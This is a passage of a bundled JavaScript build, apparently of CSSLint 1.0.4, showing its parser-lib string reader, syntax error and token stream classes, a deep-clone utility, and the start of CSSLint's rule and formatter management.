6492 if (this._listeners[type]) {
6493 var listeners = this._listeners[type];
6494 for (var i=0, len=listeners.length; i < len; i++) {
6495 if (listeners[i] === listener) {
6496 listeners.splice(i, 1);
6497 break;
6498 }
6499 }
6500
6501
6502 }
6503 }
6504};
6505
6506},{}],24:[function(require,module,exports){
6507"use strict";
6508
6509module.exports = StringReader;
6510
6511/**
6512 * Convenient way to read through strings.
6513 * @namespace parserlib.util
6514 * @class StringReader
6515 * @constructor
6516 * @param {String} text The text to read.
6517 */
6518function StringReader(text) {
6519
6520 /**
6521 * The input text with line endings normalized.
6522 * @property _input
6523 * @type String
6524 * @private
6525 */
6526 this._input = text.replace(/(\r\n?|\n)/g, "\n");
6527
6528
6529 /**
6530 * The row for the character to be read next.
6531 * @property _line
6532 * @type int
6533 * @private
6534 */
6535 this._line = 1;
6536
6537
6538 /**
6539 * The column for the character to be read next.
6540 * @property _col
6541 * @type int
6542 * @private
6543 */
6544 this._col = 1;
6545
6546 /**
6547 * The index of the character in the input to be read next.
6548 * @property _cursor
6549 * @type int
6550 * @private
6551 */
6552 this._cursor = 0;
6553}
6554
6555StringReader.prototype = {
6556
6557 // restore constructor
6558 constructor: StringReader,
6559
6560 //-------------------------------------------------------------------------
6561 // Position info
6562 //-------------------------------------------------------------------------
6563
6564 /**
6565 * Returns the column of the character to be read next.
6566 * @return {int} The column of the character to be read next.
6567 * @method getCol
6568 */
6569 getCol: function() {
6570 return this._col;
6571 },
6572
6573 /**
6574 * Returns the row of the character to be read next.
6575 * @return {int} The row of the character to be read next.
6576 * @method getLine
6577 */
6578 getLine: function() {
6579 return this._line;
6580 },
6581
6582 /**
6583 * Determines if you're at the end of the input.
6584 * @return {Boolean} True if there's no more input, false otherwise.
6585 * @method eof
6586 */
6587 eof: function() {
6588 return this._cursor === this._input.length;
6589 },
6590
6591 //-------------------------------------------------------------------------
6592 // Basic reading
6593 //-------------------------------------------------------------------------
6594
6595 /**
6596 * Reads the next character without advancing the cursor.
6597 * @param {int} count How many characters to look ahead (default is 1).
6598 * @return {String} The next character or null if there is no next character.
6599 * @method peek
6600 */
6601 peek: function(count) {
6602 var c = null;
6603 count = typeof count === "undefined" ? 1 : count;
6604
6605 // if we're not at the end of the input...
6606 if (this._cursor < this._input.length) {
6607
6608 // get character and increment cursor and column
6609 c = this._input.charAt(this._cursor + count - 1);
6610 }
6611
6612 return c;
6613 },
6614
6615 /**
6616 * Reads the next character from the input and adjusts the row and column
6617 * accordingly.
6618 * @return {String} The next character or null if there is no next character.
6619 * @method read
6620 */
6621 read: function() {
6622 var c = null;
6623
6624 // if we're not at the end of the input...
6625 if (this._cursor < this._input.length) {
6626
6627 // if the last character was a newline, increment row count
6628 // and reset column count
6629 if (this._input.charAt(this._cursor) === "\n") {
6630 this._line++;
6631 this._col=1;
6632 } else {
6633 this._col++;
6634 }
6635
6636 // get character and increment cursor and column
6637 c = this._input.charAt(this._cursor++);
6638 }
6639
6640 return c;
6641 },
6642
6643 //-------------------------------------------------------------------------
6644 // Misc
6645 //-------------------------------------------------------------------------
6646
6647 /**
6648 * Saves the current location so it can be returned to later.
6649 * @method mark
6650 * @return {void}
6651 */
6652 mark: function() {
6653 this._bookmark = {
6654 cursor: this._cursor,
6655 line: this._line,
6656 col: this._col
6657 };
6658 },
6659
6660 reset: function() {
6661 if (this._bookmark) {
6662 this._cursor = this._bookmark.cursor;
6663 this._line = this._bookmark.line;
6664 this._col = this._bookmark.col;
6665 delete this._bookmark;
6666 }
6667 },
6668
6669 //-------------------------------------------------------------------------
6670 // Advanced reading
6671 //-------------------------------------------------------------------------
6672
6673 /**
6674 * Reads up to and including the given string. Throws an error if that
6675 * string is not found.
6676 * @param {String} pattern The string to read.
6677 * @return {String} The string when it is found.
6678 * @throws Error when the string pattern is not found.
6679 * @method readTo
6680 */
6681 readTo: function(pattern) {
6682
6683 var buffer = "",
6684 c;
6685
6686 /*
6687 * First, buffer must be the same length as the pattern.
6688 * Then, buffer must end with the pattern or else reach the
6689 * end of the input.
6690 */
6691 while (buffer.length < pattern.length || buffer.lastIndexOf(pattern) !== buffer.length - pattern.length) {
6692 c = this.read();
6693 if (c) {
6694 buffer += c;
6695 } else {
6696 throw new Error("Expected \"" + pattern + "\" at line " + this._line + ", col " + this._col + ".");
6697 }
6698 }
6699
6700 return buffer;
6701
6702 },
6703
6704 /**
6705 * Reads characters while each character causes the given
6706 * filter function to return true. The function is passed
6707 * in each character and either returns true to continue
6708 * reading or false to stop.
6709 * @param {Function} filter The function to read on each character.
6710 * @return {String} The string made up of all characters that passed the
6711 * filter check.
6712 * @method readWhile
6713 */
6714 readWhile: function(filter) {
6715
6716 var buffer = "",
6717 c = this.peek();
6718
6719 while (c !== null && filter(c)) {
6720 buffer += this.read();
6721 c = this.peek();
6722 }
6723
6724 return buffer;
6725
6726 },
6727
6728 /**
6729 * Reads characters that match either text or a regular expression and
6730 * returns those characters. If a match is found, the row and column
6731 * are adjusted; if no match is found, the reader's state is unchanged.
6732 * reading or false to stop.
6733 * @param {String|RegExp} matcher If a string, then the literal string
6734 * value is searched for. If a regular expression, then any string
6735 * matching the pattern is search for.
6736 * @return {String} The string made up of all characters that matched or
6737 * null if there was no match.
6738 * @method readMatch
6739 */
6740 readMatch: function(matcher) {
6741
6742 var source = this._input.substring(this._cursor),
6743 value = null;
6744
6745 // if it's a string, just do a straight match
6746 if (typeof matcher === "string") {
6747 if (source.slice(0, matcher.length) === matcher) {
6748 value = this.readCount(matcher.length);
6749 }
6750 } else if (matcher instanceof RegExp) {
6751 if (matcher.test(source)) {
6752 value = this.readCount(RegExp.lastMatch.length);
6753 }
6754 }
6755
6756 return value;
6757 },
6758
6759
6760 /**
6761 * Reads a given number of characters. If the end of the input is reached,
6762 * it reads only the remaining characters and does not throw an error.
6763 * @param {int} count The number of characters to read.
6764 * @return {String} The string made up the read characters.
6765 * @method readCount
6766 */
6767 readCount: function(count) {
6768 var buffer = "";
6769
6770 while (count--) {
6771 buffer += this.read();
6772 }
6773
6774 return buffer;
6775 }
6776
6777};
6778
6779},{}],25:[function(require,module,exports){
6780"use strict";
6781
6782module.exports = SyntaxError;
6783
6784/**
6785 * Type to use when a syntax error occurs.
6786 * @class SyntaxError
6787 * @namespace parserlib.util
6788 * @constructor
6789 * @param {String} message The error message.
6790 * @param {int} line The line at which the error occurred.
6791 * @param {int} col The column at which the error occurred.
6792 */
6793function SyntaxError(message, line, col) {
6794 Error.call(this);
6795 this.name = this.constructor.name;
6796
6797 /**
6798 * The column at which the error occurred.
6799 * @type int
6800 * @property col
6801 */
6802 this.col = col;
6803
6804 /**
6805 * The line at which the error occurred.
6806 * @type int
6807 * @property line
6808 */
6809 this.line = line;
6810
6811 /**
6812 * The text representation of the unit.
6813 * @type String
6814 * @property text
6815 */
6816 this.message = message;
6817
6818}
6819
6820//inherit from Error
6821SyntaxError.prototype = Object.create(Error.prototype); // jshint ignore:line
6822SyntaxError.prototype.constructor = SyntaxError; // jshint ignore:line
6823
6824},{}],26:[function(require,module,exports){
6825"use strict";
6826
6827module.exports = SyntaxUnit;
6828
6829/**
6830 * Base type to represent a single syntactic unit.
6831 * @class SyntaxUnit
6832 * @namespace parserlib.util
6833 * @constructor
6834 * @param {String} text The text of the unit.
6835 * @param {int} line The line of text on which the unit resides.
6836 * @param {int} col The column of text on which the unit resides.
6837 */
6838function SyntaxUnit(text, line, col, type) {
6839
6840
6841 /**
6842 * The column of text on which the unit resides.
6843 * @type int
6844 * @property col
6845 */
6846 this.col = col;
6847
6848 /**
6849 * The line of text on which the unit resides.
6850 * @type int
6851 * @property line
6852 */
6853 this.line = line;
6854
6855 /**
6856 * The text representation of the unit.
6857 * @type String
6858 * @property text
6859 */
6860 this.text = text;
6861
6862 /**
6863 * The type of syntax unit.
6864 * @type int
6865 * @property type
6866 */
6867 this.type = type;
6868}
6869
6870/**
6871 * Create a new syntax unit based solely on the given token.
6872 * Convenience method for creating a new syntax unit when
6873 * it represents a single token instead of multiple.
6874 * @param {Object} token The token object to represent.
6875 * @return {parserlib.util.SyntaxUnit} The object representing the token.
6876 * @static
6877 * @method fromToken
6878 */
6879SyntaxUnit.fromToken = function(token) {
6880 return new SyntaxUnit(token.value, token.startLine, token.startCol);
6881};
6882
6883SyntaxUnit.prototype = {
6884
6885 //restore constructor
6886 constructor: SyntaxUnit,
6887
6888 /**
6889 * Returns the text representation of the unit.
6890 * @return {String} The text representation of the unit.
6891 * @method valueOf
6892 */
6893 valueOf: function() {
6894 return this.toString();
6895 },
6896
6897 /**
6898 * Returns the text representation of the unit.
6899 * @return {String} The text representation of the unit.
6900 * @method toString
6901 */
6902 toString: function() {
6903 return this.text;
6904 }
6905
6906};
6907
6908},{}],27:[function(require,module,exports){
6909"use strict";
6910
6911module.exports = TokenStreamBase;
6912
6913var StringReader = require("./StringReader");
6914var SyntaxError = require("./SyntaxError");
6915
6916/**
6917 * Generic TokenStream providing base functionality.
6918 * @class TokenStreamBase
6919 * @namespace parserlib.util
6920 * @constructor
6921 * @param {String|StringReader} input The text to tokenize or a reader from
6922 * which to read the input.
6923 */
6924function TokenStreamBase(input, tokenData) {
6925
6926 /**
6927 * The string reader for easy access to the text.
6928 * @type StringReader
6929 * @property _reader
6930 * @private
6931 */
6932 this._reader = new StringReader(input ? input.toString() : "");
6933
6934 /**
6935 * Token object for the last consumed token.
6936 * @type Token
6937 * @property _token
6938 * @private
6939 */
6940 this._token = null;
6941
6942 /**
6943 * The array of token information.
6944 * @type Array
6945 * @property _tokenData
6946 * @private
6947 */
6948 this._tokenData = tokenData;
6949
6950 /**
6951 * Lookahead token buffer.
6952 * @type Array
6953 * @property _lt
6954 * @private
6955 */
6956 this._lt = [];
6957
6958 /**
6959 * Lookahead token buffer index.
6960 * @type int
6961 * @property _ltIndex
6962 * @private
6963 */
6964 this._ltIndex = 0;
6965
6966 this._ltIndexCache = [];
6967}
6968
6969/**
6970 * Accepts an array of token information and outputs
6971 * an array of token data containing key-value mappings
6972 * and matching functions that the TokenStream needs.
6973 * @param {Array} tokens An array of token descriptors.
6974 * @return {Array} An array of processed token data.
6975 * @method createTokenData
6976 * @static
6977 */
6978TokenStreamBase.createTokenData = function(tokens) {
6979
6980 var nameMap = [],
6981 typeMap = Object.create(null),
6982 tokenData = tokens.concat([]),
6983 i = 0,
6984 len = tokenData.length+1;
6985
6986 tokenData.UNKNOWN = -1;
6987 tokenData.unshift({ name:"EOF" });
6988
6989 for (; i < len; i++) {
6990 nameMap.push(tokenData[i].name);
6991 tokenData[tokenData[i].name] = i;
6992 if (tokenData[i].text) {
6993 typeMap[tokenData[i].text] = i;
6994 }
6995 }
6996
6997 tokenData.name = function(tt) {
6998 return nameMap[tt];
6999 };
7000
7001 tokenData.type = function(c) {
7002 return typeMap[c];
7003 };
7004
7005 return tokenData;
7006};
7007
7008TokenStreamBase.prototype = {
7009
7010 //restore constructor
7011 constructor: TokenStreamBase,
7012
7013 //-------------------------------------------------------------------------
7014 // Matching methods
7015 //-------------------------------------------------------------------------
7016
7017 /**
7018 * Determines if the next token matches the given token type.
7019 * If so, that token is consumed; if not, the token is placed
7020 * back onto the token stream. You can pass in any number of
7021 * token types and this will return true if any of the token
7022 * types is found.
7023 * @param {int|int[]} tokenTypes Either a single token type or an array of
7024 * token types that the next token might be. If an array is passed,
7025 * it's assumed that the token can be any of these.
7026 * @param {variant} channel (Optional) The channel to read from. If not
7027 * provided, reads from the default (unnamed) channel.
7028 * @return {Boolean} True if the token type matches, false if not.
7029 * @method match
7030 */
7031 match: function(tokenTypes, channel) {
7032
7033 //always convert to an array, makes things easier
7034 if (!(tokenTypes instanceof Array)) {
7035 tokenTypes = [tokenTypes];
7036 }
7037
7038 var tt = this.get(channel),
7039 i = 0,
7040 len = tokenTypes.length;
7041
7042 while (i < len) {
7043 if (tt === tokenTypes[i++]) {
7044 return true;
7045 }
7046 }
7047
7048 //no match found, put the token back
7049 this.unget();
7050 return false;
7051 },
7052
7053 /**
7054 * Determines if the next token matches the given token type.
7055 * If so, that token is consumed; if not, an error is thrown.
7056 * @param {int|int[]} tokenTypes Either a single token type or an array of
7057 * token types that the next token should be. If an array is passed,
7058 * it's assumed that the token must be one of these.
7059 * @return {void}
7060 * @method mustMatch
7061 */
7062 mustMatch: function(tokenTypes) {
7063
7064 var token;
7065
7066 //always convert to an array, makes things easier
7067 if (!(tokenTypes instanceof Array)) {
7068 tokenTypes = [tokenTypes];
7069 }
7070
7071 if (!this.match.apply(this, arguments)) {
7072 token = this.LT(1);
7073 throw new SyntaxError("Expected " + this._tokenData[tokenTypes[0]].name +
7074 " at line " + token.startLine + ", col " + token.startCol + ".", token.startLine, token.startCol);
7075 }
7076 },
7077
7078 //-------------------------------------------------------------------------
7079 // Consuming methods
7080 //-------------------------------------------------------------------------
7081
7082 /**
7083 * Keeps reading from the token stream until either one of the specified
7084 * token types is found or until the end of the input is reached.
7085 * @param {int|int[]} tokenTypes Either a single token type or an array of
7086 * token types that the next token should be. If an array is passed,
7087 * it's assumed that the token must be one of these.
7088 * @param {variant} channel (Optional) The channel to read from. If not
7089 * provided, reads from the default (unnamed) channel.
7090 * @return {void}
7091 * @method advance
7092 */
7093 advance: function(tokenTypes, channel) {
7094
7095 while (this.LA(0) !== 0 && !this.match(tokenTypes, channel)) {
7096 this.get();
7097 }
7098
7099 return this.LA(0);
7100 },
7101
7102 /**
7103 * Consumes the next token from the token stream.
7104 * @return {int} The token type of the token that was just consumed.
7105 * @method get
7106 */
7107 get: function(channel) {
7108
7109 var tokenInfo = this._tokenData,
7110 i =0,
7111 token,
7112 info;
7113
7114 //check the lookahead buffer first
7115 if (this._lt.length && this._ltIndex >= 0 && this._ltIndex < this._lt.length) {
7116
7117 i++;
7118 this._token = this._lt[this._ltIndex++];
7119 info = tokenInfo[this._token.type];
7120
7121 //obey channels logic
7122 while ((info.channel !== undefined && channel !== info.channel) &&
7123 this._ltIndex < this._lt.length) {
7124 this._token = this._lt[this._ltIndex++];
7125 info = tokenInfo[this._token.type];
7126 i++;
7127 }
7128
7129 //here be dragons
7130 if ((info.channel === undefined || channel === info.channel) &&
7131 this._ltIndex <= this._lt.length) {
7132 this._ltIndexCache.push(i);
7133 return this._token.type;
7134 }
7135 }
7136
7137 //call token retriever method
7138 token = this._getToken();
7139
7140 //if it should be hidden, don't save a token
7141 if (token.type > -1 && !tokenInfo[token.type].hide) {
7142
7143 //apply token channel
7144 token.channel = tokenInfo[token.type].channel;
7145
7146 //save for later
7147 this._token = token;
7148 this._lt.push(token);
7149
7150 //save space that will be moved (must be done before array is truncated)
7151 this._ltIndexCache.push(this._lt.length - this._ltIndex + i);
7152
7153 //keep the buffer under 5 items
7154 if (this._lt.length > 5) {
7155 this._lt.shift();
7156 }
7157
7158 //also keep the shift buffer under 5 items
7159 if (this._ltIndexCache.length > 5) {
7160 this._ltIndexCache.shift();
7161 }
7162
7163 //update lookahead index
7164 this._ltIndex = this._lt.length;
7165 }
7166
7167 /*
7168 * Skip to the next token if:
7169 * 1. The token type is marked as hidden.
7170 * 2. The token type has a channel specified and it isn't the current channel.
7171 */
7172 info = tokenInfo[token.type];
7173 if (info &&
7174 (info.hide ||
7175 (info.channel !== undefined && channel !== info.channel))) {
7176 return this.get(channel);
7177 } else {
7178 //return just the type
7179 return token.type;
7180 }
7181 },
7182
7183 /**
7184 * Looks ahead a certain number of tokens and returns the token type at
7185 * that position. This will throw an error if you lookahead past the
7186 * end of input, past the size of the lookahead buffer, or back past
7187 * the first token in the lookahead buffer.
7188 * @param {int} The index of the token type to retrieve. 0 for the
7189 * current token, 1 for the next, -1 for the previous, etc.
7190 * @return {int} The token type of the token in the given position.
7191 * @method LA
7192 */
7193 LA: function(index) {
7194 var total = index,
7195 tt;
7196 if (index > 0) {
7197 //TODO: Store 5 somewhere
7198 if (index > 5) {
7199 throw new Error("Too much lookahead.");
7200 }
7201
7202 //get all those tokens
7203 while (total) {
7204 tt = this.get();
7205 total--;
7206 }
7207
7208 //unget all those tokens
7209 while (total < index) {
7210 this.unget();
7211 total++;
7212 }
7213 } else if (index < 0) {
7214
7215 if (this._lt[this._ltIndex+index]) {
7216 tt = this._lt[this._ltIndex+index].type;
7217 } else {
7218 throw new Error("Too much lookbehind.");
7219 }
7220
7221 } else {
7222 tt = this._token.type;
7223 }
7224
7225 return tt;
7226
7227 },
7228
7229 /**
7230 * Looks ahead a certain number of tokens and returns the token at
7231 * that position. This will throw an error if you lookahead past the
7232 * end of input, past the size of the lookahead buffer, or back past
7233 * the first token in the lookahead buffer.
7234 * @param {int} The index of the token type to retrieve. 0 for the
7235 * current token, 1 for the next, -1 for the previous, etc.
7236 * @return {Object} The token of the token in the given position.
7237 * @method LA
7238 */
7239 LT: function(index) {
7240
7241 //lookahead first to prime the token buffer
7242 this.LA(index);
7243
7244 //now find the token, subtract one because _ltIndex is already at the next index
7245 return this._lt[this._ltIndex+index-1];
7246 },
7247
7248 /**
7249 * Returns the token type for the next token in the stream without
7250 * consuming it.
7251 * @return {int} The token type of the next token in the stream.
7252 * @method peek
7253 */
7254 peek: function() {
7255 return this.LA(1);
7256 },
7257
7258 /**
7259 * Returns the actual token object for the last consumed token.
7260 * @return {Token} The token object for the last consumed token.
7261 * @method token
7262 */
7263 token: function() {
7264 return this._token;
7265 },
7266
7267 /**
7268 * Returns the name of the token for the given token type.
7269 * @param {int} tokenType The type of token to get the name of.
7270 * @return {String} The name of the token or "UNKNOWN_TOKEN" for any
7271 * invalid token type.
7272 * @method tokenName
7273 */
7274 tokenName: function(tokenType) {
7275 if (tokenType < 0 || tokenType > this._tokenData.length) {
7276 return "UNKNOWN_TOKEN";
7277 } else {
7278 return this._tokenData[tokenType].name;
7279 }
7280 },
7281
7282 /**
7283 * Returns the token type value for the given token name.
7284 * @param {String} tokenName The name of the token whose value should be returned.
7285 * @return {int} The token type value for the given token name or -1
7286 * for an unknown token.
7287 * @method tokenName
7288 */
7289 tokenType: function(tokenName) {
7290 return this._tokenData[tokenName] || -1;
7291 },
7292
7293 /**
7294 * Returns the last consumed token to the token stream.
7295 * @method unget
7296 */
7297 unget: function() {
7298 //if (this._ltIndex > -1) {
7299 if (this._ltIndexCache.length) {
7300 this._ltIndex -= this._ltIndexCache.pop();//--;
7301 this._token = this._lt[this._ltIndex - 1];
7302 } else {
7303 throw new Error("Too much lookahead.");
7304 }
7305 }
7306
7307};
7308
7309
7310},{"./StringReader":24,"./SyntaxError":25}],28:[function(require,module,exports){
7311"use strict";
7312
7313module.exports = {
7314 StringReader : require("./StringReader"),
7315 SyntaxError : require("./SyntaxError"),
7316 SyntaxUnit : require("./SyntaxUnit"),
7317 EventTarget : require("./EventTarget"),
7318 TokenStreamBase : require("./TokenStreamBase")
7319};
7320
7321},{"./EventTarget":23,"./StringReader":24,"./SyntaxError":25,"./SyntaxUnit":26,"./TokenStreamBase":27}],"parserlib":[function(require,module,exports){
7322"use strict";
7323
7324module.exports = {
7325 css : require("./css"),
7326 util : require("./util")
7327};
7328
7329},{"./css":22,"./util":28}]},{},[]);
7330
7331return require('parserlib');
7332})();
7333var clone = (function() {
7334'use strict';
7335
7336var nativeMap;
7337try {
7338 nativeMap = Map;
7339} catch(_) {
7340 // maybe a reference error because no `Map`. Give it a dummy value that no
7341 // value will ever be an instanceof.
7342 nativeMap = function() {};
7343}
7344
7345var nativeSet;
7346try {
7347 nativeSet = Set;
7348} catch(_) {
7349 nativeSet = function() {};
7350}
7351
7352var nativePromise;
7353try {
7354 nativePromise = Promise;
7355} catch(_) {
7356 nativePromise = function() {};
7357}
7358
7359/**
7360 * Clones (copies) an Object using deep copying.
7361 *
7362 * This function supports circular references by default, but if you are certain
7363 * there are no circular references in your object, you can save some CPU time
7364 * by calling clone(obj, false).
7365 *
7366 * Caution: if `circular` is false and `parent` contains circular references,
7367 * your program may enter an infinite loop and crash.
7368 *
7369 * @param `parent` - the object to be cloned
7370 * @param `circular` - set to true if the object to be cloned may contain
7371 * circular references. (optional - true by default)
7372 * @param `depth` - set to a number if the object is only to be cloned to
7373 * a particular depth. (optional - defaults to Infinity)
7374 * @param `prototype` - sets the prototype to be used when cloning an object.
7375 * (optional - defaults to parent prototype).
7376 * @param `includeNonEnumerable` - set to true if the non-enumerable properties
7377 * should be cloned as well. Non-enumerable properties on the prototype
7378 * chain will be ignored. (optional - false by default)
7379*/
7380function clone(parent, circular, depth, prototype, includeNonEnumerable) {
7381 if (typeof circular === 'object') {
7382 depth = circular.depth;
7383 prototype = circular.prototype;
7384 includeNonEnumerable = circular.includeNonEnumerable;
7385 circular = circular.circular;
7386 }
7387 // maintain two arrays for circular references, where corresponding parents
7388 // and children have the same index
7389 var allParents = [];
7390 var allChildren = [];
7391
7392 var useBuffer = typeof Buffer != 'undefined';
7393
7394 if (typeof circular == 'undefined')
7395 circular = true;
7396
7397 if (typeof depth == 'undefined')
7398 depth = Infinity;
7399
7400 // recurse this function so we don't reset allParents and allChildren
7401 function _clone(parent, depth) {
7402 // cloning null always returns null
7403 if (parent === null)
7404 return null;
7405
7406 if (depth === 0)
7407 return parent;
7408
7409 var child;
7410 var proto;
7411 if (typeof parent != 'object') {
7412 return parent;
7413 }
7414
7415 if (parent instanceof nativeMap) {
7416 child = new nativeMap();
7417 } else if (parent instanceof nativeSet) {
7418 child = new nativeSet();
7419 } else if (parent instanceof nativePromise) {
7420 child = new nativePromise(function (resolve, reject) {
7421 parent.then(function(value) {
7422 resolve(_clone(value, depth - 1));
7423 }, function(err) {
7424 reject(_clone(err, depth - 1));
7425 });
7426 });
7427 } else if (clone.__isArray(parent)) {
7428 child = [];
7429 } else if (clone.__isRegExp(parent)) {
7430 child = new RegExp(parent.source, __getRegExpFlags(parent));
7431 if (parent.lastIndex) child.lastIndex = parent.lastIndex;
7432 } else if (clone.__isDate(parent)) {
7433 child = new Date(parent.getTime());
7434 } else if (useBuffer && Buffer.isBuffer(parent)) {
7435 child = new Buffer(parent.length);
7436 parent.copy(child);
7437 return child;
7438 } else if (parent instanceof Error) {
7439 child = Object.create(parent);
7440 } else {
7441 if (typeof prototype == 'undefined') {
7442 proto = Object.getPrototypeOf(parent);
7443 child = Object.create(proto);
7444 }
7445 else {
7446 child = Object.create(prototype);
7447 proto = prototype;
7448 }
7449 }
7450
7451 if (circular) {
7452 var index = allParents.indexOf(parent);
7453
7454 if (index != -1) {
7455 return allChildren[index];
7456 }
7457 allParents.push(parent);
7458 allChildren.push(child);
7459 }
7460
7461 if (parent instanceof nativeMap) {
7462 var keyIterator = parent.keys();
7463 while(true) {
7464 var next = keyIterator.next();
7465 if (next.done) {
7466 break;
7467 }
7468 var keyChild = _clone(next.value, depth - 1);
7469 var valueChild = _clone(parent.get(next.value), depth - 1);
7470 child.set(keyChild, valueChild);
7471 }
7472 }
7473 if (parent instanceof nativeSet) {
7474 var iterator = parent.keys();
7475 while(true) {
7476 var next = iterator.next();
7477 if (next.done) {
7478 break;
7479 }
7480 var entryChild = _clone(next.value, depth - 1);
7481 child.add(entryChild);
7482 }
7483 }
7484
7485 for (var i in parent) {
7486 var attrs;
7487 if (proto) {
7488 attrs = Object.getOwnPropertyDescriptor(proto, i);
7489 }
7490
7491 if (attrs && attrs.set == null) {
7492 continue;
7493 }
7494 child[i] = _clone(parent[i], depth - 1);
7495 }
7496
7497 if (Object.getOwnPropertySymbols) {
7498 var symbols = Object.getOwnPropertySymbols(parent);
7499 for (var i = 0; i < symbols.length; i++) {
7500 // Don't need to worry about cloning a symbol because it is a primitive,
7501 // like a number or string.
7502 var symbol = symbols[i];
7503 var descriptor = Object.getOwnPropertyDescriptor(parent, symbol);
7504 if (descriptor && !descriptor.enumerable && !includeNonEnumerable) {
7505 continue;
7506 }
7507 child[symbol] = _clone(parent[symbol], depth - 1);
7508 if (!descriptor.enumerable) {
7509 Object.defineProperty(child, symbol, {
7510 enumerable: false
7511 });
7512 }
7513 }
7514 }
7515
7516 if (includeNonEnumerable) {
7517 var allPropertyNames = Object.getOwnPropertyNames(parent);
7518 for (var i = 0; i < allPropertyNames.length; i++) {
7519 var propertyName = allPropertyNames[i];
7520 var descriptor = Object.getOwnPropertyDescriptor(parent, propertyName);
7521 if (descriptor && descriptor.enumerable) {
7522 continue;
7523 }
7524 child[propertyName] = _clone(parent[propertyName], depth - 1);
7525 Object.defineProperty(child, propertyName, {
7526 enumerable: false
7527 });
7528 }
7529 }
7530
7531 return child;
7532 }
7533
7534 return _clone(parent, depth);
7535}
7536
7537/**
7538 * Simple flat clone using prototype, accepts only objects, usefull for property
7539 * override on FLAT configuration object (no nested props).
7540 *
7541 * USE WITH CAUTION! This may not behave as you wish if you do not know how this
7542 * works.
7543 */
7544clone.clonePrototype = function clonePrototype(parent) {
7545 if (parent === null)
7546 return null;
7547
7548 var c = function () {};
7549 c.prototype = parent;
7550 return new c();
7551};
7552
7553// private utility functions
7554
7555function __objToStr(o) {
7556 return Object.prototype.toString.call(o);
7557}
7558clone.__objToStr = __objToStr;
7559
7560function __isDate(o) {
7561 return typeof o === 'object' && __objToStr(o) === '[object Date]';
7562}
7563clone.__isDate = __isDate;
7564
7565function __isArray(o) {
7566 return typeof o === 'object' && __objToStr(o) === '[object Array]';
7567}
7568clone.__isArray = __isArray;
7569
7570function __isRegExp(o) {
7571 return typeof o === 'object' && __objToStr(o) === '[object RegExp]';
7572}
7573clone.__isRegExp = __isRegExp;
7574
7575function __getRegExpFlags(re) {
7576 var flags = '';
7577 if (re.global) flags += 'g';
7578 if (re.ignoreCase) flags += 'i';
7579 if (re.multiline) flags += 'm';
7580 return flags;
7581}
7582clone.__getRegExpFlags = __getRegExpFlags;
7583
7584return clone;
7585})();
7586
7587if (typeof module === 'object' && module.exports) {
7588 module.exports = clone;
7589}
7590
7591/**
7592 * Main CSSLint object.
7593 * @class CSSLint
7594 * @static
7595 * @extends parserlib.util.EventTarget
7596 */
7597
7598/* global parserlib, clone, Reporter */
7599/* exported CSSLint */
7600
7601var CSSLint = (function() {
7602 "use strict";
7603
7604 var rules = [],
7605 formatters = [],
7606 embeddedRuleset = /\/\*\s*csslint([^\*]*)\*\//,
7607 api = new parserlib.util.EventTarget();
7608
7609 api.version = "1.0.4";
7610
7611 //-------------------------------------------------------------------------
7612 // Rule Management
7613 //-------------------------------------------------------------------------
7614
7615 /**
7616 * Adds a new rule to the engine.
7617 * @param {Object} rule The rule to add.
7618 * @method addRule
7619 */
7620 api.addRule = function(rule) {
7621 rules.push(rule);
7622 rules[rule.id] = rule;
7623 };
7624
7625 /**
7626 * Clears all rule from the engine.
7627 * @method clearRules
7628 */
7629 api.clearRules = function() {
7630 rules = [];
7631 };
7632
7633 /**
7634 * Returns the rule objects.
7635 * @return An array of rule objects.
7636 * @method getRules
7637 */
7638 api.getRules = function() {
7639 return [].concat(rules).sort(function(a, b) {
7640 return a.id > b.id ? 1 : 0;
7641 });
7642 };
7643
7644 /**
7645 * Returns a ruleset configuration object with all current rules.
7646 * @return A ruleset object.
7647 * @method getRuleset
7648 */
7649 api.getRuleset = function() {
7650 var ruleset = {},
7651 i = 0,
7652 len = rules.length;
7653
7654 while (i < len) {
7655 ruleset[rules[i++].id] = 1; // by default, everything is a warning
7656 }
7657
7658 return ruleset;
7659 };
7660
7661 /**
7662 * Returns a ruleset object based on embedded rules.
7663 * @param {String} text A string of css containing embedded rules.
7664 * @param {Object} ruleset A ruleset object to modify.
7665 * @return {Object} A ruleset object.
7666 * @method getEmbeddedRuleset
7667 */
7668 function applyEmbeddedRuleset(text, ruleset) {
7669 var valueMap,
7670 embedded = text && text.match(embeddedRuleset),
7671 rules = embedded && embedded[1];
7672
7673 if (rules) {
7674 valueMap = {
7675 "true": 2, // true is error
7676 "": 1, // blank is warning
7677 "false": 0, // false is ignore
7678
7679 "2": 2, // explicit error
7680 "1": 1, // explicit warning
7681 "0": 0 // explicit ignore
7682 };
7683
7684 rules.toLowerCase().split(",").forEach(function(rule) {
7685 var pair = rule.split(":"),
7686 property = pair[0] || "",
7687 value = pair[1] || "";
7688
7689 ruleset[property.trim()] = valueMap[value.trim()];
7690 });
7691 }
7692
7693 return ruleset;
7694 }
7695
7696 //-------------------------------------------------------------------------
7697 // Formatters
7698 //-------------------------------------------------------------------------
7699
7700 /**
7701 * Adds a new formatter to the engine.
7702 * @param {Object} formatter The formatter to add.
7703 * @method addFormatter
7704 */
7705 api.addFormatter = function(formatter) {
7706 // formatters.push(formatter);
7707 formatters[formatter.id] = formatter;
7708 };
7709
7710 /**
7711 * Retrieves a formatter for use.
7712 * @param {String} formatId The name of the format to retrieve.
7713 * @return {Object} The formatter or undefined.
7714 * @method getFormatter
7715 */
7716 api.getFormatter = function(formatId) {
7717 return formatters[formatId];
7718 };
7719
7720 /**
7721 * Formats the results in a particular format for a single file.
7722 * @param {Object} result The results returned from CSSLint.verify().
7723 * @param {String} filename The filename for which the results apply.
7724 * @param {String} formatId The name of the formatter to use.
7725 * @param {Object} options (Optional) for special output handling.
7726 * @return {String} A formatted string for the results.
7727 * @method format
7728 */
7729 api.format = function(results, filename, formatId, options) {
7730 var formatter = this.getFormatter(formatId),
7731 result = null;
7732
7733 if (formatter) {
7734 result = formatter.startFormat();
7735 result += formatter.formatResults(results, filename, options || {});
7736 result += formatter.endFormat();
7737 }
7738
7739 return result;
7740 };
7741
7742 /**
7743 * Indicates if the given format is supported.
7744 * @param {String} formatId The ID of the format to check.
7745 * @return {Boolean} True if the format exists, false if not.
7746 * @method hasFormat
7747 */
7748 api.hasFormat = function(formatId) {
7749 return formatters.hasOwnProperty(formatId);
7750 };
7751
7752 //-------------------------------------------------------------------------
7753 // Verification
7754 //-------------------------------------------------------------------------
7755
7756 /**
7757 * Starts the verification process for the given CSS text.
